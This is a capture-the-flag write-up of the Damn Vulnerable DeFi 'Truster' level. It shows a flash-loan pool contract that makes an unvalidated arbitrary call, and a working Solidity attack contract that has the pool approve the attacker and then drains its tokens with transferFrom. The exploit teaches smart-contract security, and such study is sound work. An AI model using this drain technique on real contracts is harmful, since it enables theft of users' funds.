# Damn Vulnerable DeFi | 3 - Truster

## Goals

In the Truster challenge, we have to drain 1 million DVT tokens from the flash loan pool. So pretty high stakes! Let's see how to achieve that.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1714288452251/fae8acfe-0339-4676-8f43-6bd2c2fffb24.png align="left")

[See the contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0/contracts/naive-receiver)

## The Contracts

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable token;

    error RepayFailed();

    constructor(DamnValuableToken _token) {
        token = _token;
    }

    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }
}
```

A much shorter code base this time!

Let's note that the contract inherits from `Address.sol` and `ReentrancyGuard.sol` from the OpenZeppelin library, so most likely nothing to exploit there. It also inherits from the `DamnValuableToken.sol` which is a very basic ERC20 token based on the solmate library.

## The Hack

There is only one function in the `TrusterLenderPool` contract, so it seems quite fair to start there! What is happening exactly in the `flashloan()` function, and what could go wrong?

```javascript
    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }
```

While the function does check the balance before and make sure the loan is repaid, the first thing that jumps out is THE LACK OF INPUTS VALIDATION! It is the third challenge in a row with the same mistake, so we most likely want to keep that in mind...

There really is only one interesting line here:

```javascript
target.functionCall(data);
```

The `functionCall()` method comes from the inherited `Address` contract. Here it is for reference:

```solidity
 /**
     * @dev Performs a Solidity function call using a low-level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {Errors.FailedCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }
```

So what does it mean? What exactly can we do with that?

It means that we can make an external call to the `target` address with some custom data input. And it happens that our `target` address containing our 1 million DVT chest is this lending pool. So we are allowed to execute any function within the `TrusterLenderPool` context... which includes the inherited contract.

A decent knowledge of the ERC20 token standard is needed for what comes next. The ERC20 standard defines 2 ways to transfer tokens from one address to another:

1. `transfer(address to, uint256 value)` allows to move token that you own directly;
    
2. `transferFrom(address from, address to, uint256 value)` allows another address to move your tokens on your behalf. Since this is obviously dangerous, it requires an approval before the transfer can be executed.
    

> When you do a token swap on [Uniswap](https://uniswap.org/), you approve the Uniswap contract to execute the swap on your behalf and grab the tokens in your wallet.

In other words, we do not really need the loan to empty the Truster pool, we can't bypass the balance before/after checks anyway. However, we can use the data arguments to approve a malicious contract, and then trigger a `transferFrom()` to drain the pool!

## Solution

Let's implement the **Truster** solution accordingly. We can craft a contract that will handle the logic as follows:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IPool {
    function flashLoan(
        uint256 amount,
        address borrower,
        address target,
        bytes calldata data
    ) external returns (bool);
}

interface IToken {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

contract Attack3 {
    address private immutable pool;
    address private immutable player;
    IToken private immutable token;

    constructor(address _pool, address _player, address _token) {
        pool = _pool;
        player = _player;
        token = IToken(_token);
    }

    function attack() external {
        uint256 balance = token.balanceOf(pool);

        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),
            balance
        );

        IPool(pool).flashLoan(0, address(this), address(token), data);
        token.transferFrom(pool, player, balance);
    }
}
```

And edit the `truster.challenge.js` page as follows:

```javascript
it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    const Attack3 = await ethers.getContractFactory("Attack3", deployer);
    const attack3 = await Attack3.deploy(
      pool.address,
      player.address,
      token.address
    );

    await attack3.attack();
  });
```

Then we can run the test with the following command:

```bash
yarn truster
```

And we get the following printed in the terminal:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1714299011763/a9f660af-65a5-4af0-b594-3ce40b1001aa.png align="left")

Congrats! You just beat the level 3 of Damn Vulnerable DeFi.

**🎉 Level completed 🎉**

## Takeaway

* Always validate all sensitive inputs before executing any logic (I think I already mentioned that in the previous challenge though...).
    
* Disable 0 amount.
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions](https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions)
